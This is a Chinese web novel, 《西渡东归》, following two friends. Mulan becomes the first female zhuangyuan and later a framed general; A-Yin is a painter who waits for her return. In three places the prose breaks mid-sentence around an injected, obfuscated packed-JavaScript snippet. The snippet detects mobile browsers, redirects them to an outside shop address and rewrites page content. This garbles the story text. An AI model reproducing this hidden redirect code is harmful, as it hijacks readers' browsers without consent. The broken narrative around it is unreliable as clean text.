《西渡东归》 1. 青梅引 青梅落水的那一声响，许多年后阿银仍会在梦里听见。那时她正蘸了靛青，准备为莲叶添上最后一抹光影。 湖面静得像未磨的铜镜，倒映着初夏湛蓝的天。阿银屏住呼吸，笔尖即将触到宣纸的刹那——咚。青梅坠入砚台，溅起的墨点如惊飞的鸟群，那笔便斜斜地划过画中远山，留下一道突兀的伤痕。 阿银怔了一瞬，随即恼怒地抬头。 “哎呀呀，失手了。” 声音从头顶传来。木兰笑嘻嘻地半躺在青梅树的枝桠间，两条腿在空中晃荡，腰间系着的竹笛随着她的动作轻轻摆动。阳光透过层层叠叠的叶片，在她青色的衣裙上投下斑驳的光影。 “我画了整整一个上午。”阿银的声音压着怒气。 木兰歪着头，并不答话，只从腰间取下那支竹笛，横在唇边。第一个音符跳出来时，阿银的眉头还皱着；待清越的曲调如溪水般流淌开来，她的神情便渐渐松了。笛声是初夏的风，是未熟的青梅，是她们一起走过的十二年光阴。 一曲终了，木兰从树上跃下，轻巧得像只燕子。她捡起那颗捣乱的青梅，在衣袖上擦了擦，递给阿银。 “赔礼。” 阿银接过青梅，咬了一口，酸得皱起整张脸。木兰大笑起来，笑声惊起了湖畔的水鸟。那是元和七年，她们十五岁，世界刚刚为女子打开一道门缝。 --- 大晟朝开国一百二十年，世道正在缓慢地转动。先帝晚年颁布《女科诏》，准允女子读书应试、从商为官，如同在平静的湖面投下一颗石子。涟漪扩散得很慢，许多人家仍将女儿锁在深闺，但也有些父亲开始为女儿延请西席，有些母亲偷偷将诗书塞进嫁妆。 阿银的父亲是七品文官，木兰的父亲经营药材生意。两家宅邸相邻，后院只隔一道矮墙。她们四岁时第一次见面，木兰骑在墙头，向正在院中习字的阿银扔了一颗杏子。 “你会写字？”小木兰问。 阿银点头，在纸上工工整整写下自己的名字。木兰看了半晌，忽然翻身下墙——不是从墙上爬下，是直接跳了下来，落地时踉跄两步，然后得意地拍拍衣裙。 “教我。” 那是开始。此后十年，她们在同一个书房长大。书房很大，中间摆着一张紫檀木长桌，阿银在一端作画，木兰在另一端读书。桌上总是堆满东西：阿银的颜料碟、笔洗、各色纸张；木兰的经史子集、策论范文、写得龙飞凤舞的草稿。 阿银作画时极静，呼吸都轻不可闻。她擅长工笔，能画出花瓣上最细微的脉络，鸟羽上最柔和的光泽。木兰却总是不安分的，读一会儿书便要站起来走动，或是突然发问： “阿银，若是让你治理水患，你会怎么做？” 阿银不抬头，仔细勾勒着画中人物的衣褶：“我又不考科举。” “假设嘛。” 阿银这才停笔，想了想：“我会先考察地形，疏通河道，然后在沿岸植柳固堤。” 木兰的眼睛亮起来：“和我想的一样！不过还要设立预警机制，雨季前疏散百姓……”她滔滔不绝地说着，手指在空中比划，仿佛面前真有万里江河。 更多时候，她们只是各自忙碌，偶尔抬头交换一个眼神。春日，窗外海棠盛开，花瓣随风飘入书房，落在未干的墨迹上；夏日，蝉鸣如雨，她们分享同一碗冰镇梅子汤；秋日，木兰收集银杏叶夹在书页里，阿银将它们画入扇面；冬日，炭盆噼啪作响，她们裹着同一条毯子，木兰读《孙子兵法》，阿银临摹前朝名画。 木兰十五岁那年第一次参加童试。放榜那日，阿银陪她去看。榜前挤满了人，九成是男子。她们站在人群边缘，木兰紧紧握着阿银的手，手心全是汗。 “没有。”木兰看了一遍又一遍，声音有些发颤。 阿银正想安慰，却听旁边一个书生嗤笑：“女子也来考科举？回家绣花去吧。” 木兰猛地转身，眼睛瞪得圆圆的：“《女科诏》写得明明白白，女子为何考不得？” “写得是一回事，考上是另一回事。”书生摇着扇子，“考场如战场，岂是儿戏？” 阿银拉了拉木兰的衣袖，低声道：“我们明年再来。” 回去的路上，木兰一言不发。行至湖边，她忽然拾起一块石头，用力掷向水面。石头跳了三下，沉入湖心。 “我会考上的。”她说，声音很轻，却像那块石头一样，沉甸甸地落入阿银心里，“我会让所有人都看见，女子不仅能考，还能考得最好。” 次年春，木兰的名字出现在榜上第七位。又一年，乡试中举。捷报传来时，木兰正在阿银的画室，看她在绢帛上绘制山水。送信人高声报喜，木兰接过大红帖子，手指微微发抖。她转向阿银，想说什么，却只是张开双臂，紧紧抱住了她。 那个拥抱很长，长到阿银能感觉到木兰的心跳，又快又重，像要跳出胸腔。 --- 木兰于乡试中所作《治河疏》一策，经考官密荐，直呈御前。 老皇帝于病榻上阅罢，以指节叩案三声：“此策数据详实，条陈狠辣，非老吏不能为。作者年齿几何？” 侍立的老太监躬身：“禀大家，录籍所载，刚满十八，为女子。” 殿内静了片刻。皇帝浑浊的眼睛盯着帐顶蟠龙绣纹，忽道：“让她来。朕要看看，此女怎么装得下三十年老户部才摸得清的门道。” --- 元和十年春，木兰破格参加会试。临行前夜，她们又坐在书房的紫檀木桌两端，像过去十二年无数次那样。只是这一次，桌上没有摊开的书，没有研磨的墨，只有一盏将尽的灯。 “我为你准备了一样东西。”阿银从袖中取出一个细长的木盒。 木兰打开，里面是一支毛笔。笔杆是青竹所制，笔尖选用最柔软的紫毫，笔杆上刻着一行小字：“青衿有志，素心不移”。 “我亲手做的。”阿银说，“竹是后院那棵青梅树旁的竹子，毫是我攒了许久的紫貂尾尖。” 木兰抚摸着笔杆，指尖划过那行刻字。灯光在她眼中跳动，像含着泪，又像燃着火。 “阿银，若我考中……” “等你回来再说。”阿银打断她，声音很轻，“一路平安。” 木兰走了。阿银的生活忽然空出一大块。她依旧每日作画，却常常画到一半便停下来，望着窗外出神。后院那棵青梅树又开了花，白色的小花簇拥在枝头，风一过，便簌簌落下，像一场温柔的雪。 三个月后，喜讯传来：木兰高中会元。又过一月，殿试结果公布，木兰被钦点为状元。 消息传回，整座城都沸腾了。大晟开国以来第一位女状元，不，是自科举创立以来的第一位。街谈巷议，有人赞叹，有人怀疑，更多人则是好奇——这位打破千年规矩的女子，究竟是何模样？ 阿银是在画室里听到消息的。她正在绘制一幅《山河春晓图》，刚画到远山初融的雪。笔尖一顿，一滴墨落在山巅，晕开成小小的阴影。她看着那点墨迹，忽然笑了，笑着笑着，眼泪就落了下来。 木兰归来的那日，全城空巷。阿银没有去街上，她站在府门前的石阶上，远远便听见锣鼓喧天。人群的欢呼声如潮水般涌来，越来越近，终于，她看见了那匹高大威猛的白马，马颈系着大红绸花，马背上的人—— 木兰穿着一身朱红状元袍，袍身用金线绣着祥云纹，头戴乌纱帽，帽侧插着一对金花。阳光照在她脸上，那张熟悉的清俊面孔此刻神采飞扬，眼中含着笑意，嘴角微微上扬。她策马而行，红袍在风中翻飞如旗，整个人鲜亮得像是从画中走出的少年郎，意气风发，灼灼如旭日。 她不再是那个爬树摘青梅的女孩，也不是那个在书房苦读的少女，她是状元，是开创历史的女子，是所有人的目光焦点。 白马在府门前停下。木兰利落地翻身下马，动作依旧轻巧如燕。她穿过人群，径直走向阿银，从怀中取出一支笔——金灿灿的笔杆，笔头是上好的狼毫，笔杆末端刻着御赐二字。 “陛下赏的。”木兰将笔递到阿银手中，“我说，若不是有人教我识字、陪我读书、在我每次想放弃时拉住我，我走不到今天。这支笔，该归她。” 阿银握着那支金笔，笔杆还带着木兰的体温。周围的人群在欢呼，在议论，但那些声音仿佛隔着一层水，朦朦胧胧听不真切。她只看见木兰的眼睛，明亮如星，只看见那身红衣，红得像火，红得像血，红得像是要把整个时代都点燃。 “恭喜。”她终于说。 木兰握住她的手，握得很紧：“这才只是开始，阿银。我们的时代，才刚刚开始。” --- 木兰入翰林院为修撰。消息传开，各家有适龄子弟的人心思都活络起来。登门说亲的媒人几乎踏破门槛，有人冲着新科状元木兰而来，也有求娶阿银的——毕竟，状元闺中密友，将来必是人脉。 木兰一律回绝：“功业未成，不论婚嫁。” 阿银的父亲也委婉提过几次婚事，阿银只是摇头：“女儿还想多画几年画。” 她开始绘制一幅长卷，名为《女子图鉴》。画中女子或在读书，或在行医， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081249|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或在纺织，或在市集交易。每一幅小像旁，她都题上几句诗，讲述画中人的故事。木兰休沐回家时看到，沉默良久，提笔在卷首写下：“红妆何曾让须眉，素手亦可写春秋”。 “我要让天下人看见，”木兰说，“女子能做的事，远不止他们想象的那些。” 画卷完成那日，木兰带回一个消息：她被任命为监察御史，即将巡视江南。这是一个重要任命，意味着朝廷开始真正信任并重用这位女状元。 “我要去查看水利、农桑、吏治。”木兰的眼睛闪着光，“阿银，你愿不愿与我同去？江南风光，正该入画。” 阿银正在为画盖章，闻言手一顿，朱砂印歪了一分。她看着那歪斜的印记，忽然想起多年前被青梅打乱的那幅画。人生如画，总会有些意外之笔。 “好。”她说。 江南之行历时半年。她们乘船沿运河而下，见惯了烟雨楼台、小桥流水。木兰考察堤坝、走访农户、查阅卷宗，阿银则将所见所闻绘成画册：老农满是皱纹的脸、织女灵巧飞舞的手、学堂里朗朗诵读的女童。 在苏州，她们遇见一位经营丝绸生意的女子，姓沈，四十余岁，丈夫早逝，她独自撑起家业，还将手艺传授给贫苦人家的女孩。沈娘子邀请她们到家中做客，庭院里，十多个少女正在学习缫丝、染布、刺绣。 “我从小学的是‘女子无才便是德’。”沈娘子为她们斟茶，“但先夫去世后，若我不站出来，这份家业就垮了，这些工人就无以为生。那时我才明白，什么德不德的，能让人们吃饱穿暖，才是大德。” 木兰专注地听着，不时提问。阿银则被院中少女吸引，她们围坐在一起，手指翻飞，丝线在阳光下闪着细碎的光。她打开画具，开始速写。 “你在画什么？”一个小女孩好奇地凑过来。 “画你们。”阿银柔声道，“画你们学手艺的样子。” “这有什么好画的？”另一个女孩问，“我们日日都这样。” “正因为日日都这样，才值得画。”阿银说，“千百年后，人们会通过这些画知道，在这个时代，女子不仅可以持家，还可以立业、授艺、改变他人的命运。” 女孩们似懂非懂，但都笑起来，笑得很甜。那一刻，阿银忽然明白了自己绘画的意义——不是风花雪月，不是孤芳自赏，是记录，是见证，是为那些本该被看见却常被忽视的生命，留下存在的证据。 离开苏州前夜，木兰与阿银在客栈房中整理笔记和画稿。窗外下着细雨，雨打芭蕉，声声入耳。 “沈娘子说，她正在说服其他商贾，合办一所女子工艺学堂。”木兰的声音有些疲惫，却透着兴奋，“若此事能成，至少能帮上百个女孩学得一技之长。” 阿银正在为白天画的少女像上色，闻言抬头：“你累了吗？” “累，但值得。”木兰走到窗边，推开窗，湿润的风涌进来，“阿银，你知道吗？这一路走来，我见到了太多像沈娘子这样的女子。她们或许不识字，不懂经史，但她们坚韧、聪慧、有担当。她们缺的不是能力，只是一个机会。” 阿银放下笔，走到木兰身边。夜色中的江南水乡，灯火点点，倒映在粼粼河面上，像散落的星子。 “你会给她们这个机会的。”她轻声说。 木兰转头看她，眼中映着窗外的光：“不是我，是我们。” 她们在江南过了新年。除夕夜，苏州知府设宴款待。席间，一位老学士多饮了几杯，借着酒意道：“木兰大人年轻有为，实乃女子楷模。不过治国平天下，男正位乎外，女正位乎内，乃天地常理，女子嘛，佐政便好。” 满座皆静。木兰放下酒杯，笑容未变：“老大人所言极是。故而晚辈才更需努力，毕竟，”她顿了顿，“只是想起户部档案内，因勘核不实、匠头冒领两项，虚耗近十万。这些坐正位的男儿，似乎也没把份内事做妥帖。” 举座愕然，随即有人忍俊不禁。老学士面红耳赤，却无言以对。阿银在桌下轻轻握住木兰的手，发现她的手心微湿，指尖冰凉。 回房后，木兰卸下官袍，换上常服，忽然叹道：“每一句话都要算三步，每一个笑都要量七分。” 阿银为她梳理长发：“我知道。” “但我不能停。”木兰看着镜中的自己，也看着镜中阿银的倒影，“我若退缩一步，后来者的路就会更难走一分。” 阿银的手停在木兰的发间。铜镜模糊，映出两张年轻的面孔，一张坚毅，一张温柔，却有着同样的眼神——那种认准了一条路，便要走到黑的眼神。 2. 青梅引2 元和十一年秋，她们回到京城。木兰因江南之行的出色表现升任户部郎中，成为朝中最年轻的五品官员。阿银的《江南行纪》画册在文人墨客间流传，甚至传入宫中，贵妃召她入宫，请她教授绘画。 表面看来，一切都在向更好的方向发展。但朝堂之上，暗流涌动。 反对女子为官的声音从未停止，只是从前藏在暗处，如今渐渐浮出水面。木兰的每一次建言、每一项举措，都有人盯着挑错；她提拔的每一位女吏，都备受质疑。更糟糕的是，边境战事吃紧，北狄连年犯境，朝廷已三次增兵。 在户部的日子里，木兰真正触摸到了这个王朝衰朽的脉象。 “苦的是百姓。”一日深夜，木兰从户部归来，脸色疲惫，“军费开支太大，南方水灾又急需赈济。今日廷议，有人主张加税，有人主张削减官员俸禄，吵了一整天。” 阿银为她热了汤：“陛下怎么说？” “陛下……”木兰揉了揉眉心，“陛下老了。” 这是大不敬的话，但在阿银面前，木兰从不掩饰。老皇帝今年六十有二，登基三十载，早年也算勤政，如今却越发崇信道教，追求长生，朝政多由宰相把持。而宰相王浚，正是最反对女子参政的大臣之一。 “王相今日又提了‘女祸论’。”木兰冷笑，“说女子干政，阴阳颠倒，故而上天降灾，战事不利。” “荒谬。”阿银蹙眉。 “荒谬，但有人信。”木兰接过汤碗，却不喝，只是捧着暖手，“阿银，我有种不好的预感。战事若再恶化，朝中必要寻找替罪羊。而我们这些不安分的女子，便是现成的靶子。” 阿银的心沉了沉。她想说些安慰的话，却发现自己词穷。窗外春寒料峭，明明已是三月，夜风却冷得像刀刃。 预感很快成真。北狄大军突破防线，连下三城，边关告急。朝堂哗然，主战主和两派争论不休。与此同时，京城开始流传各种谣言：女子为官触怒天地，故有战祸；女状元命格太硬，克国运；甚至有人翻出木兰的生辰八字，说她命中带煞，不宜参政。 压力如乌云压城。木兰日渐消瘦，但上朝议事时，脊背依旧挺得笔直。阿银则减少了入宫教画的次数，多数时间待在家中，整理这些年的画作。她开始绘制一幅新的长卷，名为《山河社稷图》，画大晟万里疆土，从北国雪原到江南水乡，从西部戈壁到东海波涛。 绘制这幅画时，她常常想起与木兰的江南之行，想起那些她们见过的山河与人。有时画着画着，眼泪就滴在纸上，晕开一片墨色。 六月，最坏的消息传来：北狄大军兵分两路，一路继续南下，一路向东，直扑粮仓所在地。朝廷紧急征调全国男丁入伍，京城街头，日日可见母亲送儿、妻子送夫，哭声不绝。 朝堂之上，主战主和两派吵作一团，却无人敢真正请缨——谁都知道，粮草不济，士卒久疲，此去凶多吉少。 就在这危急存亡之秋，木兰做出了一个震惊朝野的决定。 次日朝会，木兰出列，于百官注视下，清晰奏请： “臣虽为女子，然熟读兵书，通晓韬略。”朝堂之上，木兰的声音清晰坚定，“今国难当头，岂可分男女？臣愿赴前线，运筹帷幄，收复失地。” 老皇帝沉吟良久。宰相王浚则极力反对：“女子统兵，自古未有，恐动摇军心。” “自古未有，便从臣始。”木兰不卑不亢，“若败，臣愿以死谢罪；若胜，则为大晟开一先例。” 最终，或许是战事吃紧无人可用，或许是木兰的坚定打动了皇帝，又或许是朝堂之上正需不动声色地拔除这颗眼中钉。圣旨下达：授木兰监军之职，即刻赴北线督战。 --- 出征那日，天还未亮。木兰换上戎装——一身赤红铠甲，甲片在晨光中泛着冷冽的光，肩头披着猩红战袍。这身红衣与当年状元游街时那身朱红袍子相似，却多了肃杀之气。她站在院中，阿银为她系紧护腕，手指微微颤抖。 “我会写信。”木兰握住她的手，“每夺回一座城，便写一封。” “你要活着回来。”阿银的声音很轻，“无论胜败，活着回来。” 木兰看着她，眼中闪过一丝温柔：“我答应你。” 门外，战马嘶鸣。木兰翻身上马，那马也是枣红色的，与她一身赤甲相映。她勒紧缰绳，最后看了一眼这座府邸，看了一眼阿银，然后策马扬鞭。 马蹄声在青石板上响起，由近及远。阿银站在门前，看着那抹红色渐渐远去，忽然提起裙摆，追了上去。 “木兰！” 马儿已到街角，闻声停下。木兰回头，晨光中，她的脸在红甲映衬下愈发清俊。阿银跑到马前，气息不匀，她从发间拔下那支白玉簪——木兰送她的生辰礼。 “给你。” 木兰接过簪子，不解。 阿银解开自己的发髻后。三千青丝如瀑布般滑落，在晨风中轻轻飘动。 “要平安。”她说，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081250|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很轻，却字字清晰，“带着我的份，一起平安回来。” 木兰握着那支白玉簪，指节发白。她看着阿银散发的模样，将簪子小心收入怀中，贴在心口位置。 “等我。”她说，然后调转马头，再不回头。 阿银站在长街中央，看着那抹红色消失在拐角处。风吹起她的长发和衣袂，猎猎作响。天空开始飘雨，细细的雨丝，像天地也在哭泣。 --- 木兰北上后的第三个月，第一封捷报传入京城。 “木兰将军出奇兵，夜袭敌营，斩首三千，收复云州！” 满朝震动。云州是战略要地，失守已半年有余，谁都没想到会被如此迅速地夺回。皇帝大喜，赏赐金银布帛，并晋升木兰为镇北将军。 此后半年，捷报频传。 “木兰将军设伏黑水谷，大破敌军主力，歼敌万余！” “将军率轻骑千里奔袭，夺回潼关！” “北狄可汗之弟被生擒，敌军士气大溃！” 京城沸腾了。茶楼酒肆，人人都在谈论这位女将军的神勇。说她是“天神下凡”，用兵如神；说她“身先士卒”，箭无虚发；更有人说，曾见战场上木兰将军赤甲白马，所向披靡，敌军望风而逃。那一身红衣，成了战场上最耀眼的旗帜，士兵们说，只要看见那抹红色，便知胜利在望。 阿银每听到一个消息，便在家中的地图上标记一处。云州、黑水谷、潼关……木兰的足迹向北延伸，收复的失地越来越多。她开始绘制新的画作——不再是江南烟雨，而是北国沙场。她画月光下的军帐，画雪地里的马蹄印，画寒风中猎猎作响的红色战旗。 木兰的信定期送到，有时半月一封，有时一月一封。信很短，总是报喜不报忧： “安好，勿念。今日夺回一城，城中百姓箪食壶浆，甚慰。” “北地雪大，但将士用命，连战连捷。” “见一老妪，年七十，三子皆战死，仍为我军缝补战袍。思及你，夜不能寐。” 阿银将这些信小心收好，与那支金笔放在一处。她开始相信，木兰真的能改变这个时代——不仅能考状元，能当官，还能统兵打仗，能收复河山。 元和十三年，木兰已收复大半失地，兵锋直指北狄王庭。朝中封赏的诏书一道接一道：骠骑将军、镇国公、太子少保……荣誉如雪片般飞来，木兰成了大晟的战神，百姓的救星。那一身红衣，从状元袍到将军甲，成了这个时代最鲜亮的颜色。 3. 青梅引3 但阿银心中的不安却越来越重。她见过太多功高震主的故事，听过太多鸟尽弓藏的教训。木兰的每一封捷报，都像是往她心上压一块石头。 果然，朝中风向开始转变。 先是御史弹劾木兰“擅权专断”“赏罚由心”，接着有传言说木兰“私蓄兵力”“图谋不轨”。宰相王浚在朝会上公然质疑：“女子掌兵，终非长久之计。今北狄已溃，当召回木兰，另遣大将。” 老皇帝的态度也令人深思。他依然赏赐，但不再有最初的热情；他依然下诏嘉奖，但措辞中多了敲打之意。 木兰的信越来越短，间隔越来越长。最后一封信是元和十四年秋收到的，只有八个字： “功成在即，归期可待。” 阿银将这封信读了一遍又一遍，心中的不安却如野草般疯长。她开始频繁梦见木兰——不是凯旋归来的木兰，是血染战袍、深陷重围的木兰。 --- 噩梦成真的消息，是在一个阴雨的午后传来的。 先是朝廷的急令：召木兰将军回京受赏，兵权暂交副将。紧接着，宰相王浚的心腹、谋士周琰奉旨前往军中“监军”。 阿银听到消息时，正在绘制一幅红梅图。笔尖一颤，整朵梅花便毁了形状。她放下笔，走到窗前，看着淅淅沥沥的雨，心中一片冰凉。 十日后，更可怕的消息传来：周琰在军中设宴，名为接风，实为鸿门宴。他以木兰麾下三百亲兵的性命相要挟，逼木兰只身赴会。宴中埋伏了五百刀斧手，木兰单刀赴宴，宴至中途，周琰突然发难。 “夫人！”副将冲进来报信时，阿银正在施粥，“前线传来消息，周琰以‘谋逆’之罪下令捉拿木兰将军，双方在军中发生冲突。将军为保将士，独战百人，突围而去，不知所踪！” 阿银手中的木勺掉进粥锅，滚烫的粥溅到手背上，她却感觉不到疼痛。 “详细情形呢？”她的声音出奇地平静。 副将含泪道：“周琰在宴中突然发难，说将军‘拥兵自重’‘图谋不轨’，要当场拿下。将军本可反抗，但周琰以三百亲兵的性命要挟——这些人都是跟随将军的老兵，有的从云州之战就跟着将军。将军放下刀，说‘我一人之命，换三百人之命’。但周琰出尔反尔，还是要杀将军。” 他顿了顿：“将军夺刀突围，身中七箭，仍杀出重围。最后跃马沧江，坠江而去。周琰派人沿江搜寻三日，未见尸首，故报‘逆贼伏诛’。” 阿银静静地听着，脸上没有表情。她转身，继续施粥，一勺一勺，动作机械。 “夫人……”副将欲言又止。 “她没死。”阿银说，声音很轻，却异常坚定，“她答应过我，会活着回来。” 朝廷的通缉令贴满大街小巷：“逆臣木兰，拥兵自重，抗旨不遵，现革去一切官职爵位，全国缉拿。” 阿银站在通缉令前，看着画影图形上那张被丑化的脸。画师将木兰画得面目狰狞，眼露凶光，完全不是她记忆中的模样。但她注意到，通缉令上写的仍是“木兰”，不是“花木兰”——朝廷终究不敢公然承认，这位逆臣是曾经惊动天下的花家女状元，是位女子。 围观百姓议论纷纷，有人叹息，有人唾骂，也有人小声说：“我听说是周琰设局陷害……” “嘘！莫谈国事！” 阿银转身离开。回到府中，她锁上门，从暗格中取出木兰所有的信，一封封重新读过。那些简短的字句，此刻读来字字泣血。 她终于明白木兰最后一封信为何只有八个字——不是功成在即，是死期将至；不是归期可待，是永别在即。 --- 木兰“谋逆”的消息如一块巨石投入湖中，激起千层浪。朝中支持木兰的官员纷纷上书求情，但都被宰相王浚压下。老皇帝病重，太子年幼，朝政实际上已由王浚把持。 更糟糕的是，失去了木兰的北线军队军心涣散，北狄趁机反扑，短短三个月内，之前收复的失地依次沦陷。战火重新燃起，且比以往更加猛烈。 元和十六年春，北狄大军突破防线，直逼京城。朝廷仓皇南迁，留太子监国，实则弃城而逃。京城大乱，富户纷纷出逃，穷人无处可去，只能听天由命。 阿银没有走。她变卖了家中所有值钱的东西，只留下木兰的金笔和那些信，继续在府门前施粥。逃难的人越来越多，队伍排成长龙，她每天从早忙到晚，仿佛只有这样才能让自己不去想木兰的下落。 六月，京城陷落。北狄铁骑冲入城中，烧杀抢掠。阿银躲在府中地窖，听着外面的哭喊声、马蹄声、烈火燃烧声，紧紧抱着木兰的信匣。 她在黑暗中不知待了多久，直到外面渐渐安静下来。爬出地窖时，只见满目疮痍——府邸大半被烧毁，那棵青梅树焦了半边，但奇迹般地还活着，残存的枝叶在风中颤抖。 京城易主，北狄建立了伪政权。不愿臣服的人纷纷南下，投奔南迁的朝廷。阿银依然没有走。她清理了还能住人的偏房，继续施粥——虽然粮食所剩无几，粥稀得能照见人影，但她依然每天升起炊烟，仿佛这是她对这个世界最后的坚持。 有时夜深人静，她会拿出《山河社稷图》来看。这幅长卷还未完成，原本要画大晟的万里江山，如今却只剩残缺的一半。她拿起笔，想要补全，却不知从何落笔——山河破碎，社稷倾颓，她该画什么？又能画什么？ 她开始画记忆中的木兰。画她爬树摘青梅的样子，画她在书房读书的样子，画她红衣白马游街的样子，画她赤甲出征的样子。一幅又一幅，挂满了残破的墙壁。每画一幅，她便对墙说一会儿话，仿佛木兰就在对面听着。 “今天又来了个孩子，瘦得皮包骨，我把最后一点糖给了他。” “青梅树发芽了，焦黑的树干上长出了新枝。” “听说南边成立了新朝廷，摄政王主政，正在整顿兵马，准备北伐。” “木兰，你在哪里？还活着吗？” 没有人回答。只有风吹过破窗，发出呜呜的声响，像哭泣，又像叹息。 --- 元和二十年，局势终于出现转机。 南迁的朝廷在摄政王李衍的整顿下逐渐稳固。李衍是先帝幼弟，素有贤名，他罢黜奸相王浚，整顿吏治，训练新军，经过三年准备，终于开始北伐。 消息传来时，阿银正在为青梅树浇水。这棵树奇迹般地活了下来，虽然树干有焦痕，但年年开花结果。她听到街上的欢呼声，放下水瓢，走出府门。 街坊邻居聚在一起，兴奋地谈论： “摄政王大军连战连捷，已经收复江南了！” “听说王浚被问斩了，真是大快人心！” “要是木兰将军还在……” 讨论的人远去，话语渐渐模糊。 阿银站在原地，阳光照在她身上，暖洋洋的。她忽然想起许多年前，木兰中状元游街的那天，也是这样的好天气。那时她们都以为，光明就在前方。 如今光明或许真的来了，但那个应该看见这光明的人，却不知所踪。 北伐持续了两年。摄政王李衍确有用兵之才，他稳扎稳打，步步为营，终于在天佑元年秋，收复了京城。 大军入城那日，阿银站在残破的府门前，看着威武的军队从街上走过。士兵们铠甲鲜明，旌旗招展，百姓夹道欢迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081251|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，热泪盈眶。她看到了李衍——那位传说中的摄政王，如今已是新帝，骑在马上，面容肃穆，眼神坚毅。 他看见了阿银，或者说，看见了这座在废墟中依然挺立的府邸，以及府门前那棵焦痕累累却枝叶繁茂的青梅树。他勒住马，示意队伍暂停。 “这是木兰将军旧居？”他问身旁的将领。 “回陛下，正是。” 李衍下马，走到阿银面前。他看起来四十余岁，眉宇间有沧桑，也有睿智。 “你是？” “民女阿银，木兰的故人。” 李衍点点头，目光扫过残垣断壁，最后落在门内墙上——那里挂着阿银画的木兰画像，一幅又一幅，从垂髫到戎装。 “朕对不起木兰将军。”他忽然说，声音很轻，但很清晰，“当年先帝昏聩，王浚弄权，致使忠良蒙冤，山河破碎。朕已下旨，为木兰将军平反昭雪，追封忠武王，配享太庙。” 他顿了顿：“朕要在这里，为将军立一块碑。” 阿银跪下：“谢陛下隆恩。” “起来吧。”李衍扶起她，“你可有什么要求？朕必当应允。” 阿银抬起头，看着这位新君：“民女只求陛下，若有人知道木兰的下落……无论生死，请告诉民女。” 李衍沉默良久，缓缓摇头：“周琰伏法前交代，木兰将军身中七箭，坠入沧江，生还希望渺茫。” 他目光落在庭中那棵焦痕斑驳却抽出新枝的青梅树上，声音沉了几分： “但朕不信她会这样死去。” “那样一个人……” 他没有说下去，只是转身看向阿银： “朕已密令各州暗中寻访。若有任何音讯，定会即刻告知你。” 阿银深深一礼：“谢陛下。” 三日后，一块青石碑立在了府门前。碑上刻着：“大晟忠武王木兰将军故宅”。没有墓，只有碑，因为谁也不知道，那位红衣将军是否真的长眠于某处。 李衍走了，大军继续前行。京城开始重建，逃难的人陆续返回，市集重新热闹起来。新朝气象，百废待兴。 阿银的粥铺依然开着，只是现在领粥的人少了——朝廷设立了善堂，流民得到了安置。但她还是每天熬一锅粥，坐在府门前的石碑旁，看着人来人往。 这一年，阿银二十八岁。距离木兰出征，已经过去了十年。 十载光阴逝水，故人未归。木兰若在，当是而立之年了。 青梅树又开花了，白色的花朵簇拥在枝头，像一场温柔的雪。阿银坐在树下，靠着那块青石碑，几乎要睡着时，忽然听见一声极轻的呼唤： “阿银。” 她猛地睁开眼睛。 门前站着一个人，牵着一匹马。人是个乞丐，衣衫褴褛，右臂的袖子空荡荡地垂着，左眼蒙着脏污的布条，脸上满是尘土和伤疤，头发纠结如草。马是匹瘦骨嶙峋的跛脚老马，毛色灰败，唯脖颈上系着一片残破的红布——那红色褪得厉害，边缘破损，却依然能看出，曾是鲜艳的、耀眼的红。 阳光正好从云层后完全露出，照在那人脸上。灰尘掩盖不住清俊的轮廓，伤痕遮不住那只完好的右眼中熟悉的眼神。她看着阿银，嘴角慢慢扬起，那是一个艰难却真实的笑容。 阿银怔怔地看着，手中的针线掉在地上。她站起身，一步步走过去，脚步踉跄，像走在梦中。 走到那人面前，她伸出手，颤抖着触摸那张满是尘土的脸。是真的，有温度，有脉搏，不是梦。 她猛地抱住眼前的人，抱得很紧很紧。 “回来就好。”阿银的声音哽咽，却带着笑，“回来就好。” 4. 北海渡1 沧江的水，是淬骨的冷。最后的意识里，怀中那点玉簪的微温与彻骨的江水纠缠，然后一同沉入永恒的黑暗。木兰以为自己死了。死在这片她曾以热血捍卫，却最终吞噬她的江河里。 七箭穿身，江水吞噬了将军木兰，浮起的，是一具没有名字的残躯。 --- 痛，是先于意识醒来的。 那不是箭伤锐利的痛，而是缓慢、粘稠、带着腐败甜腥的啃噬感。木兰在昏沉中费力地转动脖颈，看向右肩——那里残余几片早已湿烂的破布，裸露的断口处，皮肉翻卷发黑，几条蛆虫正在腐肉间蠕动。 没有犹豫，她用左手抠出锋利的石片，削去腐肉，撕下衣襟包扎，牙齿几乎咬碎。但比疼痛更夺命的是高热反复。 她知道自己还活着，但这份“活着”，更像一场醒不过来的噩梦。 